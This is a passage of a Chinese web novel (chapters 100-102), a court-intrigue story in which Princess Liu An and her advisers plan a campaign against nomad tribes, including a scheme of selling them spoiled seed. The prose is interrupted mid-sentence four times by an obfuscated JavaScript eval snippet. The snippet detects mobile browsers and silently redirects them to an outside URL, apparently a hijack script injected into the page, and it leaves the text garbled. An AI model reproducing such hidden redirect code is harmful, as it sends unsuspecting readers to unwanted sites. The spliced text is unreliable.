可得到的结果依然是不见,顶多能为王落儒添把椅子坐着等。 莲音命人搬来椅子,又煮了姜汤端给王落儒。 王落儒本想继续站着,要用诚心打动刘安,但也怕自己会站不住,一头栽下去,只怕还没等到见刘安,便会先见到先帝。 无奈,王落儒坐下,接过姜汤,小口小口喝下饮尽。 等了不知多久,王落儒终究是熬不住了,坐在椅子上多次昏昏欲睡。 王落儒抬起沉重的眼皮,看向那紧闭的殿门,还有坚定地挡在面前的莲音,无奈长叹一声,今日见不到两位尊上不要紧,明日早朝便能见到了,只要能阻止北征即可。 想罢,王落儒站起身,对着莲音道:“还望内官通传一声,便说老夫已来过,待殿下空闲了再召见。” 说完,王落儒掉头便离开了福康宫。才出了宫门,便遇到了定北王刘昶进宫。 刘昶身后还跟着三名女子,其中两个是刘安身边的女官莲房与莲亭,剩下一个看着面生,兴许也是福康宫内的女官。 末了,王落儒盯着莲房的身影,觉得眼熟得很,不免多看了几眼。 王落儒猛然想起,这不是早前在宫门外鬼鬼祟祟的那女子吗? 早在莲房在宫门外等着温嘉诚进宫时,王落儒便认出了她是刘安身边的贴身女官。 王落儒一时好奇这女官为何不在刘安身边伺候,反而会在宫外时,多看了几眼,被莲房发现躲开了。因见着莲房迟迟不进宫去,王落儒只以为自己认错了人。 如今再见到,王落儒一眼便认出莲房,不由得更加好奇,莲房出宫是为了什么?大长公主到底想做什么? 想来其中定有猫腻。 王落儒心不在焉地拜见过刘昶后,同刘昶寒暄两句,便各自分别。 “看什么呢?”刘昶注意到一旁的傅容光频频回头,顺着傅容光的眼神看过去,看到了落在视线中的王落儒,便道:“那便是王太傅,曾教导过孝懿太子,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274296|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教导陛下,三朝元老呢。” 傅容光点点头,旋即笑道:“方才他也频频看过来呢,许是发现了什么吧。” 刘赞曾同她说过,这个王太傅,为人酸腐呆板、不知变通,让她躲着点呢。 不怕别的,就怕被这王太傅发现她是当初那桩闹得轰轰烈烈的女扮男装案子的主角呢。若是被王太傅发现,只怕也会影响逍遥王刘赞和大长公主刘安。 刘昶笑道:“这倒不用担心,虽说王太傅为人有些过于呆板,但心是不坏的,一心为着国家着想,也算得上是忠臣了。” 刘昶曾在孝懿太子刘牧手下当过差,也同王落儒打过交道,对王落儒也算有几分了解。 说者无意,可走在一旁听的莲房却不免心脏漏跳半拍,王太傅频频看过来,该不会王太傅认出了她吧。 一边想着,莲房一边懊悔不已,她频频出宫已经惹得人关注,早知道就该听莲音姐姐的话,等过几日再出宫去看表哥。 细想想,她那表哥被安顿在公主府打杂,横竖都有公主府的人罩着,能出什么事? 一提到她那表哥,莲房就忍不住生气。昨日火急火燎托人传话过来,说得了什么重病,她给的银两不够花,只怕表哥要时日无多。 昨晚莲房担忧一夜,一夜未曾合眼,今早便带着刘安近来赏赐给她的银两,慌忙出了宫,没想到她那表哥活蹦乱跳好得很! 不单好得很,身边还躺着个女子! 气得莲房抓起一块银子便砸过去,莲房的表哥被撞见,刚开始还有些羞愤,之后便是恼怒,拎起地上的靴子便朝着莲房脸上砸去,莲房躲闪不及,额头被砸中。 莲房没想到她的表哥竟是这样的人,哭了一路跑回宫门口,不想还在宫门口撞见了王落儒,也不知道有没有被认出来。 算了算了,不想这些了。莲房摇摇脑袋,如今该安心服侍殿下才是。 刘昶带着傅容光面见刘安。 刘安见刘赞没来,来的是没见过几面的傅容光,不免皱起眉头:“赞儿呢?” 刘昶忙解释道:“大姐姐,六哥昨夜得了消息,便连夜出京前往永州边境了,他猜着你会召见他,特意留下傅姑娘解答姐姐的疑惑。” “消息?什么消息?北征吗?”刘安问道,语气平静,听不出喜怒。 “是。”刘昶回道。 “呵——”刘安冷笑一声,道:“你们一个个手眼通天,早早都得了消息,只留我一个蒙在鼓里呢。你怎么不也同去?” 刘昶听出些异样,怯生生抬头,先是瞄了眼刘安,只见刘安脸上看不出什么表情,又扫了眼一旁的温嘉诚,见温嘉诚连连摇头冲他示意,方才知惹恼了刘安,脑袋越垂越低,大气也不敢多喘。 傅容光见殿内陷入僵局,上前一步,躬身道:“臣女傅容光,受逍遥王殿下所托,前来面见殿下。” 刘安看都不看一眼傅容光。 刘安与生俱来的威势压得傅容光有些喘不过来气。 傅容光大着胆子道:“逍遥王殿下说,北征一事,殿下不必担心。” 100. 外攘内安(五)借力打力 “逍遥王殿下说,尽管放手去做,不必担心咱们大江打不过胡人,逍遥王殿下还说,他早已布下局,单等这一仗大获全胜呢。”傅容光声音有些发颤,待说完这些话后,只觉后背一片汗津津的。 刘安清了清有些发腥的喉咙,并未理会傅容光,依旧在看着手里那不知所云的奏折。 温嘉诚与刘昶皆满怀担忧地看向傅容光。 殿内再次陷入僵局。 温嘉诚听到刘安忍着轻咳两声,便笑着端起一旁的茶盏,道:“殿下,喝口茶润润嗓子吧。” 刘安一手拨开碍事的茶盏,一手合上奏折,旋即一甩袖子,双手按在桌上,抬起眼皮,扫了眼傅容光,轻笑一声,极为漫不经心道:“哟,说说吧,让我也听听咱们这位逍遥王的本事!” 茶水撒在温嘉诚手上,幸而茶水早已不烫。 傅容光还沉浸在方才的威压之下。一旁的刘昶侧目瞥了眼,微微抬起手肘,碰了碰傅容光,傅容光方才回过神来。 “殿下请看——”傅容光从袖中取出一个小荷包,放在手心,垂下脑袋,双手捧过头顶。 刘安瞟了眼温嘉诚,温嘉诚颔首会意,上前取过荷包,解开荷包束口,将荷包内的东西倒在掌心。 竟是一小把麦粒。 温嘉诚捧着这小把麦粒递到刘安面前,刘安随手捻起三四粒,单从外表看,并未看出什么异常。 指尖稍微用力一捻,其中有一粒,竟轻而易举便被捻碎成两半。 刘安察觉到些异样,放到鼻尖仔细一嗅。 温嘉诚也将手里的麦粒凑到鼻尖,一丝淡淡的霉味,若不仔细闻,还真闻不出来。 麦粒发霉?温嘉诚抬眼看向刘安,转而又看向傅容光。 “这是怎么回事?”刘安问道。 “这便是逍遥王殿下的谋略。”傅容光深吸一口气,稳了稳心神,道:“胡人以游牧为生,若是雨水充沛,牧草长得旺盛,胡人便强盛,胡人强盛边境便不安稳。若是有旱情,胡人便会南下抢掠,因此……” “因此逍遥王殿下便在边市用各种作物的种子,与胡人以物换物。”傅容光声音隐隐有些发抖。 温嘉诚听后,脸色一变,猛然抬头看向傅容光,厉声道:“与胡人换的什么?” 大江境内,粮食尚且短缺,又如何能有余粮来和胡人交易呢? 再者,将种子换与胡人,以此来换得边境短暂的安宁,与喂一头养不熟的狼有何区别? 傅容光声音减弱:“别别山上产的各色宝石。” 温嘉诚皱紧眉头,看向刘安:“殿下——” “继续说。”刘安压着心头的怒气,冷眼看着傅容光,她倒想看看赞儿和傅容光两个人到底在搞什么名堂。 虽说刘安并未多说什么,但傅容光能明显感觉到刘安的怒气。 傅容光忙加快语速:“若要撒在田间的种子能更多的生根发芽,种子需得晒干方可保存妥当。” “而我们与胡人交换的种子,三分之一是可正常发芽结果的种子;三分之一是保存不当的陈年旧种,若撒在土里,收成寥寥;为确保这些种子的收成不好,这余下的三分之一,则是过水煮过的种子,绝无发芽的可能。” “三类种子掺杂在一起,一并卖给胡人。即便是胡人在草原上洒满种子、种满粮食,他们也绝不会丰收。” “胡人吃不饱,又拿什么能与我们大江一战呢?” 刘昶在一旁听得尤为过瘾,仅三五年的光景,胡人便无粮可吃,此招不可不谓之狠辣。不由得更加佩服他这个六哥。 温嘉诚虽也觉得此计甚妙,但也察觉到丝不对劲:“我们开设边市的目的,一为财政开源,二为与周边国家交好以此来稳定边防。” “可将这样的种子卖给胡人,如今草原是多灾旱,短时间内他们察觉不到,可若有朝一日被发现,两国岂非要交恶?到那时,便是一场你死我亡的恶战!” 傅容光信誓旦旦道:“不光如今,往后的几年,草原照例还是风不调雨不顺,到那时,他们只会将连年的歉收归咎于天灾,他们又怎么会怀疑到是种子的问题呢?” “话虽如此……”温嘉诚沉吟道。 刘安冷哼一声,连连拍手,听不出喜怒:“好谋划!” 刘安眼睛眯起,又细细审视番傅容光。当真如傅容光所说,这个布局谋略是逍遥王刘赞所想? 傅容光被刘安盯得心里有些发虚,脑袋不觉慢慢低下,嘴唇都快要咬出血了。 刘赞自幼丧母,打小便教养于刘安身边,是刘安一手带大的,这个弟弟什么性子刘安最是清楚。 自小五谷不分、四肢不勤,若说赚钱谋利,刘赞比谁都上心积极,可若是旁的,便懒得再花功夫。 反而是这傅容光,听闻早先女扮男装在靖州任职,所经手的大多是靖州的民生,为官期间颇有建树。 若说这计谋是傅容光所想,那还有几分可信。 这傅容光倒也是个人才,难怪当初刘赞对她的赞扬溢于言表。 刘安的目光不觉柔和许多,眼中还带了些欣赏的意味。 刘安道:“只是……风雨之事乃上天决定,你们又如何算准草原往后几年必定会风雨不调呢?”” 温嘉诚心中也是这么想的。 傅容光道:“逍遥王殿下在胡人各部落都有开设铺子,招聘胡人,朝夕相处间,能从他们口中探听到些细碎消息,再以铺子为联络点,下设探子暗中探查。” “深入探查才得知,草原近来多风沙,风沙所过之地,滴雨未降落,不单如此,植物被连根拔起,并且这一两年愈演愈烈,胡人叫苦不迭。” 若要说虚话,便是上头这些,她早在心里演练了多遍的话术,听着毫无破绽。 若是要说实话,便是她与刘赞暗中找到了大江神算钱易知的子孙后代,那人对天象风雨之事颇为在行。 “此外,还探知,草原十八部如今并不团结,因大单于病弱,胡人拢共分为三股势力。”傅容光生怕说的这些虚话瞒不住刘安,补充道。 “一股是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274297|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北部的塔塔娜尔公主为首的草原五部,地域辽阔,居于我朝漳州、海州一带;一股是吐勒大单于的弟弟布拉古为首的草原六部,居于别别山一带,地盘庞大,物产丰饶。” “余下分散的草原七部,便是以吐勒大单于的儿子呼廷聊赞为首,活动在永河、栾南边境。” 刘安指节轻轻扣在桌面上,问道:“呼廷聊赞统御的草原七部内可有铜矿?” 众人闻之皆是一愣,异口同声问道:“铜矿?” 刘安点头:“对。” 刘安记得,栾南的诚王叔私铸铜钱,可栾南境内的铜矿皆归朝廷管,而胡人境内的别别山脉之中就有不少的矿产,其中便包括铜矿。 她想知道,诚王与胡人勾结到了什么地步。 刘昶与身旁的傅容光对视一眼,皆是皱紧眉头,回道:“未曾听说。” 刘昶眼珠一转,转瞬便明白了刘安心中所想,忙道:“先前倒是听六哥说起过,别别山内新发现了一座铜矿。” 刘安顿时了然于心,不由得嗤笑一声,难怪他们这位诚王叔会与布拉古勾结在一起,只怕二人都做着兄终弟及的美梦吧。 “我如今倒有了个主意。”刘安起身,踱了几步,额外多看了傅容光一眼,想到刘赞极为信任、看重傅容光,况且傅容光也颇有才能,便留下她一同听。 刘安笑道:“诚王盘踞栾南多年,栾南私铸币的存在也不是一两日的了,想必诚王与胡人勾结也不是一天两天的。” “他们关系必定紧密,若是他们两方打起来,不知会是什么光景呢?”说罢,刘安掩嘴直乐。 温嘉诚与刘安对视一眼,便明白了刘安心中的谋略,问道:“殿下是想,借栾南诚王的兵,攻打布拉古?” 刘昶有些担忧:“只是……布拉古远在别别山,若论起来,与我们之间还隔着个呼廷聊赞统御的草原七部,虽说草原七部之间松散,说句散兵游勇也不为过,可若是要迈过他们,并非易事。” 傅容光眼珠转了转,道:“若是呼廷聊赞肯给我们借道,那便也不是什么难事。”话刚说出口,便自觉失言,实在是有些异想天开了。 再怎么说,呼廷聊赞与布拉古同属一脉,又如何愿意让道来让她们攻打布拉古呢? “正有此意。”刘安接过话茬,笑道:“正是要呼廷聊赞心甘情愿为我们让道,不,是心甘情愿为诚王让道以攻打布拉古。” 温嘉诚最先领会刘安的意思,问道:“殿下是想借力打力?” 刘昶道:“姐姐是想联合呼廷聊赞,看布拉古与诚王狗咬狗?” 刘安笑着点头道:“正所谓‘引友杀敌,不自出力’,如今呼廷聊赞与我们陷入同样的困境,不妨勠力同心。” 呼廷聊赞正为了他叔叔布拉古而无法继承单于之位而发愁,大江又何尝不是呢? “那我们北征这一仗要怎么打呢?”刘昶虽明白了计策,但对于如何施行却是犯了难。 难就难在呼廷聊赞身上。 “那便活捉呼廷聊赞!” 101. 外攘内安(六)抗蛮谋略 “活捉呼廷聊赞?” 刘安这话刚一说出口,在场的刘昶、温嘉诚、傅容光等人皆是惊呼一声。 “怎么?可有何不妥?”刘安撑起下巴,扬头笑吟吟看向他们三人,他们的反应皆在她的料想之中。 三人你看看我,我看看你,皆是眉头紧锁,一时也不知该说些什么。 刘安呷了口茶,不疾不徐笑道:“在我面前,不必这般拘谨,有什么话直说便是。” 傅容光自知人微言轻,不便开口,抬眼迅速瞟了眼温嘉诚与刘昶,很快又垂下眼睛。 温嘉诚思忖再三,开口道:“殿下,若是此时活捉呼廷聊赞,岂非……岂非要坏了两国邦交?日后还怎么让他心甘情愿借道给我们呢?” “若是对他好言好语,他便会心甘情愿地借道吗?”刘安笑着反问道。 “这……”温嘉诚垂下眼眸,噙着嘴唇,再思量过后,抬眼看向对面的刘昶,想听听刘昶的看法。 刘昶踱了半步,犹豫道:“大姐姐是想……借此逼着呼廷聊赞与我们合作?” “不错。”刘安点点头,道:“他都落到我们手上了,命都攥在我们手里,哪里还由得了他!” 温嘉诚不由得倒吸一口气,再道:“只是活捉呼廷聊赞风险极大,难度极高,虽说胜算大,可兵行险招,只怕……” 温嘉诚声音渐弱:“只怕会弄巧成拙。” 刘安站起身,朝着刘昶走去,笑着拍了拍刘昶的肩膀:“所以还要看昶儿的本事,昶儿以为如何?” 刘昶微微躬身,不由得握紧拳头,甚是不解,思索着其中的利害。 正如温嘉诚所言,行此险招,稍有不慎,便会招致更大的祸患。 “别的不说,若是成了,单这来日的论功行赏,你这便是头功一件。”说罢,刘安又重重在刘昶肩头拍了两下。 头功一件! 刘昶眼前一亮,顿时豁然开朗,忙不迭道:“大姐姐放心便是,我定会将那呼廷聊赞,押到大姐姐面前,促成此事。” 即便是舍下这条命…… 刘昶捏紧拳头,目光愈发锐利,愈发的坚定。 活捉呼廷聊赞,他势在必得。 温嘉诚则是蹙眉不语。 “好,那便这么定了。”刘安扭头看向刘昶,笑道:“那大姐姐便在京中等着昶儿的好消息了。” 刘昶抱拳看向刘安,得到点头应允后,便忙去筹备突袭一事。 一旁的傅容光是跟着刘昶进宫的,如今刘昶一走,她是站也不是,走也不是,说话也不是,沉默不语也不是。 真所谓是为难之极。 刘安行至桌前,接过温嘉诚奉上的茶水,小抿一口润过喉咙后,头也不回问道:“傅姑娘,可曾去过漳州?” 傅容光施礼拜过后,才缓缓道:“先前随父兄在漳州住过些时日。” 刘安笑道:“哦,我倒是忘了,原先你兄傅士安在就任永州驻防官前,曾在漳州任职过。” 傅容光猜不透刘安的意图,只得应声道:“是。” “这么说,你应该还记得去漳州的路?”刘安指节轻轻扣在桌前堆积的奏折上,转头看向傅容光。 傅容光垂头回道:“记得。” 刘安道:“容光,我知你才能了得,胆识也甚是过人,只是苦于没有的机会。” “我原想着待到第二场女科,将你们这些有才能有学识又想着报销朝廷而投报无门的女子们招入朝中,不想却迟迟没了下文。” 说罢,刘安上前两三步走近傅容光,拉起傅容光的手,抬手为傅容光理了理鬓边的乱发,和煦笑道:“容光,眼下倒是有一项事,思来想去,唯有你去做才行。” 傅容光迟疑片刻,问道:“殿下所说,可是与漳州有关?” “不错。”刘安直截了当,道:“当初漳州之下共计十座城池,因十余年前那一战,漳州五城落在了胡人手中,就连最北边的走马关都丢了。” 傅容光默不作声地侧耳听着,心中却也在盘算。 虽说北部边境以外都是胡人,但这几年胡人之间也不全然太平。如今的漳州五城及走马关,都落在了塔塔娜尔统领的草原五部手中。 面前的大长公主可是要借着北征的时机收回漳州五城? “先前父皇在时,每每提及此事,便……”说到此处,刘安连连摇头,长吁一口气:“可如今,我们却是有望收回漳州五城的。” 傅容光还拿不准刘安心中所想,试探着问道:“殿下是想将用在呼廷聊赞身上的法子,用在塔塔娜尔身上?” 温嘉诚抿紧嘴唇,眉头依旧紧锁。 活捉呼廷聊赞这一险招,因刘昶这个定北王驻守边防数年,且又常年与呼廷聊赞打交道,况刘昶又是不惜舍命去做,尚且还有几分成功的几率。 可塔塔娜尔…… 草原五部所处地域辽阔,胡人又善迁徙,且近几年与大江关系还算平稳,即便是派出精兵强将,未必寻到塔塔娜尔的踪迹。 更何况,如今大长公主手上除了定北王刘昶,又哪里还有合适的人选呢? 刘安听后连连摇头:“不,不是活捉,而是和谈。” “和谈?”傅容光与温嘉诚异口同声道、 “若是我们能与呼廷聊赞达成共识,使得诚王与布拉古两败俱伤,那日后便将面临呼廷聊赞这个强敌。两虎相争,则必有一伤,无论日后与呼廷聊赞这一仗是孰胜孰败,苦的都是百姓。”刘安解释道:“可若是……” 温嘉诚领悟:“若是有塔塔娜尔与呼廷聊赞相互制衡……” 傅容光也想明白了:“我们便可不战而胜。” 刘安喜不自胜,道:“正是此意。” “不知殿下要民女做什么?”傅容光心中连着暗叫几声好,语气也活跃了几分。 “这事儿要是成了,保得天下太平至少十数余年,可若是……”刘安顿了顿,面露难色:“可若是不成,便是要被钉在史书中,受万民唾骂……” “殿下尽管吩咐便是。”傅容光毫不在意这些身后事。 先前傅容光锒铛入狱,后得到特赦有幸捡回一条命,对刘安更是感激不尽。如今既然有能用得到她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274298|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,她定当尽心竭力。 见傅容光并无甚抵触,刘安方才道:“你前去漳州,想法子接近塔塔娜尔并取得她的信任,以促成她与我们和谈。” “你尽管放心摆出条件与塔塔娜尔交涉,一应条件、物产,凡在本宫能力范围之内,来日都会应允,只要能促成和谈。” 傅容光听后不由得慢慢垂下脑袋。 良久,傅容光才道:“若是……若是答应许与她们新鲜的种子……不知……不知是否可行?” 刘安对于此也并没有十足十的把握,因而并未予以肯定,也未予以肯定:“这个中条件利弊的把控,全在你自己手里,你自己拿定主意便是。” 说罢,又连着拍了两三下傅容光的手背。 温嘉诚在一旁听着,不由得为傅容光捏一把汗。 傅容光是汉人,接近胡人并非易事,更何况还要取得塔塔娜尔的信任,更何况还是在她们坑害过胡人之后…… 只怕更是难上加难。 傅容光思定:“殿下放心,容光定当尽心竭力促成此事。” 刘安点点头,予以回应,重新坐回去,随手翻了页折子,才扫了一眼,又想到了什么,抬眼看向不远处站着的傅容光,又很快收回眼神,转而看向一旁的温嘉诚。 “嘉诚,我这里倒是没什么事儿了。只还有一件,润蕾入宫的事,还是需要你多去走动走动。”刘安合上折子,笑道。 “是,那臣便先告退了。”温嘉诚退步行礼,待回头看了眼傅容光,又笑道:“若是殿下找傅姑娘没旁的事,那臣与傅姑娘便一同退下了。” 刘安摆手屏退两人。 温嘉诚与傅容光垂头退步出了殿。 傅容光长吁一口气,擦了擦额头上的细密汗珠,道:“多谢温相。” 傅容光是跟着刘昶入宫来的,方才刘昶提前退下,又见温嘉诚侍立在刘安身旁,她还正发愁该如何出宫去呢。 温嘉诚笑道:“无需多客气。”说罢,便是笑吟吟地看向傅容光。 傅容光剑眉星目,一双眼睛生得炯炯有神,与之对视,便能感觉到她眼中的坚韧。 也难怪逍遥王殿下常对她赞不绝口,也难怪大长公主殿下会为她特地颁下特赦令。 傅容光被温嘉诚看得有些不自然,眼神胡乱躲闪着,避免与温嘉诚对视。 温嘉诚掩嘴一笑:“我看傅姑娘啊,真是越看越喜欢,也不怪殿下对你委以重任。” 傅容光讪讪笑道,朝着福康宫的方位作揖一拜:“幸蒙殿下赏识,定当全力以赴为殿下做事。” 温嘉诚低头笑笑。 两人同行一段路,温嘉诚低声问道:“傅姑娘此去漳州,若是沿途需要什么,尽管同我讲,我家祖上曾驻守漳州、永州一带,在漳州也算是有些相熟之人。” 傅容光笑道:“若算起来,温相与我倒还是半个同乡呢。” 温嘉诚道:“这倒是呢。” 傅容光则是道:“多谢温相好意,不过我并不打算从漳州过。” 温嘉诚不由得停下脚步,疑道:“这是为何?” 102. 外攘内安(七)迂回折转 傅容光谨慎地看了眼周围。 周围偶有两三名垂着头快步行走的宫人。 温嘉诚看出傅容光的顾忌,不由得加快了脚步。 待出了宫,二人坐上马车,温嘉诚再问道:“方才傅姑娘所言为何,可否细细道来?” 傅容光徐徐道来:“若是我从我朝漳州境内入草原五部,只怕来日若是有心之人追查,会查到个一二,若是有心人在这个上面做文章,只怕会对我朝不利。” “若是我能从海州出境,坐船至海上的句容国,换个身份,再从句容国进入草原五部,如此周转,想必会少很多麻烦。” “只是……”温嘉诚倒也认同傅容光的担忧,只是就当前的局势而言,多少还是有些担心:“句容国与我朝并未建交,眼下正有隐隐交恶之势,只怕你此番前去,实非易事。” 傅容光笑笑:“其中的艰辛我知道,劳烦温相替我着想。不过我既然想到这个法子,那即便多难,我都会想方设法走下去的。” “若说海州……”温嘉诚想了想,想到了不久前嫁去海州邵氏的李淑华,忙道:“我在海州倒还有一闺中蜜友,你去了兴许可以找她帮忙。” 说着,温嘉诚在袖笼中翻找片刻,摸到一方手帕,摸着手帕上面的绣样,思索良久,恐担心李淑华认不出来她的绣工,又将手帕放回袖中。 温嘉诚环顾四周的物件摆设,思定后,从一旁的箭笼中取来一根箭矢,用力掰下箭头,随即摊开手,展现在傅容光面前:“海州邵氏的二少奶奶,开国公家小姐李淑华,与我自幼交好。” “你去海州邵家找她,以此为信物,她认得。” 傅容光取来放在温嘉诚掌心的箭头,三指举在眼前,转着圈细细看过,取来手帕,揣在胸前贴身放好,朝着温嘉诚一拜:“那便多谢温相了。” “不必多礼。”温嘉诚托住傅容光的双手,盯着傅容光的眼睛,笑道:“傅姑娘,一帆风顺。” 傅容光微微颔首示意。 一番言语过后,傅容光与温嘉诚两人各自揣着心事,便也不再言语,马车内的氛围也随之冷了下来。 马车途径闹市乱巷,百姓熙熙攘攘,玩笑、说闹、吆喝之声不绝于耳。 车内则是鸦雀无声的寂静。 见气氛有些不尴不尬的,温嘉诚抬眼飞速瞟了眼身旁的傅容光,随意找了话题与傅容光拉家常闲聊:“不知傅姑娘是几年几月生的?” 傅容光颔首,轻声道:“是承道二十年六月初六生的。” 温嘉诚在心中一算,忙笑道:“我比你早两年生,便托大称你一声妹妹了。” 傅容光轻轻“嗯”了一声。 她傅容光也是有几分自知之明的,哪里敢与温嘉诚这样的人互称姐妹!温嘉诚不过是随口客气一两句罢了。 再怎么说,温嘉诚是温国公独女,朝中唯一的女相,大长公主的亲信,权势远在她之上,是她遥不可及的高度。 温嘉诚点点头,心里边默默盘算了刘赞的生辰,随后掩嘴一笑:“倒比逍遥王殿下还要大上四五个月呢。” 逍遥王刘赞对傅容光的心思,温嘉诚知,大长公主刘安也知。 大长公主先前还说呢,若是二人两情相悦,不如早早成婚,一来也好过两人克己复礼。 二来,傅容光身为王妃,也可为大长公主增添些助力。 只是,还不知傅容光对刘赞是何心思。 温嘉诚看向傅容光,想从傅容光脸上看出些什么。 一听到温嘉诚提及逍遥王刘赞,傅容光的神色更显尴尬,眼珠有些慌乱地乱转,就连脸颊,也染上些薄薄的红晕。 不知该如何作答,便干脆不回答的好。 傅容光垂下头,并不言语。 眼见着车内的气氛又要冷下来,温嘉诚不由得硬着头皮继续道:“今日在殿下面前,我见你神色有些拘谨。” 傅容光又是轻轻“嗯”了一声:“殿下不怒自威,我……不过一介草民,并不敢在殿下面前放肆。” 傅容光话音一落,车里又陷入一片寂静。 温嘉诚只得讪讪笑了两声。 温嘉诚撩起一边的车帘,见车子转过醉云轩,忽而想起还未曾问过傅容光如今居住在何处,忙道:“不知要送傅姑娘到何处?” 傅容光透过车窗,看到醉云轩外的畅音坊,忙道:“温相,便送到此处吧,我住的那条巷子狭小,过不去马车。” 温嘉诚一声令下,马车止住。 “多谢温相。”说着,傅容光作揖谢过,身手矫健地跳下马车。 温嘉诚微微颔首示意,而后放下车帘。 傅容光看着远去的马车,轻轻拍了拍微微发烫的脸颊,长舒一口气。 她心里这会儿乱糟糟的。 沿着习惯的路线,傅容光回到了刘赞为她暂时租住的一座院子。 这座院子就在醉云轩和畅音坊附近,京城中最繁华的地段,离刘赞的逍遥王府也很近。 与傅容光同住在一起的还有畅音坊的两个姑娘。 一个叫沈韵,弹得一手好琵琶,名冠京城。 因沈韵近来要常常为一位贵人上门弹奏,若住在畅音坊只怕行动不便,便暂时住在这里,与傅容光也算是相互有个照应,刘赞也可安心些。 除沈韵以外,还有一个小丫头,叫那尔丹,约莫十几岁的样子,听说是前几年随着父母来京中做生意走丢了,后偶然遇到沈韵,便留在沈韵身边了。 最重要的是,这个那尔丹,是胡人。 傅容光之所以敢想着入境草原五部,心中便是想到了那尔丹,从那尔丹这里学些简单、易上嘴的胡语。 傅容光习惯性地朝沈韵、那尔丹所居的东侧三间套房走去,见着门窗紧闭,门上落锁,便知她们二人不在。 兴许她们二人还是在那位贵人府上。 傅容光转身回了自己所居的正房,简单收拾些北上的行囊。 待收拾整齐后,便想到了刘赞。 刘赞远在永州,临别之前还说要等他。 而她这一去,只怕没个一两年是回不来的。 思来想去,傅容光拿来一纸,又翻来一块特制的墨,加水研墨过后,写下几笔,写下她被委以重任北上游说。 待墨迹干了,写下的内容隐形之后,傅容光又取来平常的墨,提笔寥寥几笔随意写下些话,随后将信折好,取来信封放进去。 刚做完这些,便听到沈韵和那尔丹回来的声音,两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274299|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说说笑笑走来。 那尔丹见傅容光房间亮着光,蹦蹦跳跳地来到傅容光门前,轻轻扣了扣门:“傅姑娘,你歇下了吗?” 傅容光不紧不慢在信封上加过蜡印,待蜡印凝固后,将信放于袖中,起身开门。 那尔丹提高手中的食盒,轻轻敲了几下食盒,笑道:“傅姑娘,我们路过醉云轩,买了些菜肴,还有你最喜欢吃的花云糕,你要一起进些吗?” “那感情好啊!”傅容光笑道:“醉云轩的花云糕最是难买了,我先前去了两三次都没买到呢!” 那尔丹嘻嘻一笑:“我今儿老早就过去排着了,若是再晚一些,只怕也买不到呢。” 沈韵抱着琵琶,徐徐走来,与傅容光互相颔首示意过后,便邀请道:“傅姑娘,一起来吧。” “好。”傅容光应下。 傅容光与沈韵围着桌子坐下,那尔丹打开食盒,一一将菜取出来。 放在最上边的,是用油纸包好的三块花云糕。 花云糕,外形是一朵朵盛开的鲜花,口感就像云朵般松香绵软,并佐以当季最新鲜的花瓣,吃完还有股花香味儿萦绕在嘴里,因而得名花云二字。 食盒下面依次放着的是一盘小炒青菜,颜色鲜亮青翠,一盅入口即化的煨肉。 傅容光看向那尔丹,问道:“我记得小丹是胡人吧,不知你们平时胡人见面之后会怎么说呢?” 那尔丹嘴里叽里咕噜很快地说了一句,眼里一直紧盯着桌上那盅煨肉。 炖盅里面的汤汁还在咕嘟咕嘟冒着小泡,肉香随着泡泡的破裂四溢在空气中。 晶莹剔透的肉皮,裹满酱汁的肉块,看着就忍不住流口水。 那尔丹站起身,伸长胳膊夹起一块,美滋滋送入嘴里。 “傅姑娘怎么对这些事儿有兴趣了?”边说着,沈韵笑着将面前的炖盅推近那尔丹,摆在那尔丹与傅容光之间。 傅容光低头笑笑,顿了顿,随口扯道:“我看着咱们大江与胡人的边市开放,凡是在边市做生意的,都赚了不少,我也想着去做些小买卖。” “傅姑娘要买卖什么?”那尔丹又夹了一块肉,忍不住插嘴问道。 傅容光叹了口气:“这个……倒还没想好呢……” 傅容光随口扯的借口,并未想好措辞,倒被那尔丹问住了。 那尔丹一边嚼一边歪头想着,待将嘴里的肉咽下,开口道:“不如做绸缎买卖吧。” 